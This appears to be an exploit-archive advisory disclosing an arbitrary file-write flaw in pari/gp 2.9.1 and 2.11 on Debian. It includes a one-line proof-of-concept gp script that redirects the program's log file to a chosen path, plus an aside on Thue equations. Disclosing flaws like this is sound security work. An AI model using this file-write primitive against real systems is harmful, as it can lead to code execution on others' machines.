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pari/gp 2.x Arbitrary File Overwrite

pari/gp 2.x Arbitrary File Overwrite
Posted Nov 26, 2019
Authored by Georgi Guninski

pari/gp versions 2.9.1 on Debian Stretch and 2.11 on Debian Buster allow arbitrary file write and hence arbitrary code execution.

tags | exploit, arbitrary, code execution
systems | linux, debian
MD5 | 0ecadd450355ff88db28e7b58b63b32a

pari/gp 2.x Arbitrary File Overwrite

Change Mirror Download
pari/gp on debian stable allow arbitrary file write

pari/gp is CAS (computer algebra system).
pari/gp version 2.9.1 on debian stretch and 2.11 on debian buster
allow arbitrary file write and hence arbitrary code execution.

poc:
========
\\ a.gp
\\ to run: \r a.gp
default("logfile","/tmp/a.txt");default("log",1);print("log(1)");
========

Of mathematical interest is pari was missing solutions
to Thue equations when assuming GRH (the fix changed polynomial
bound to exponential bound):
http://pari.math.u-bordeaux.fr/archives/pari-dev-1207/msg00000.html
t=thue(thueinit(x^3+92*x+1,0),3^3);t

--
CV: https://j.ludost.net/resumegg.pdf
site: http://www.guninski.com
blog: https://j.ludost.net/blog

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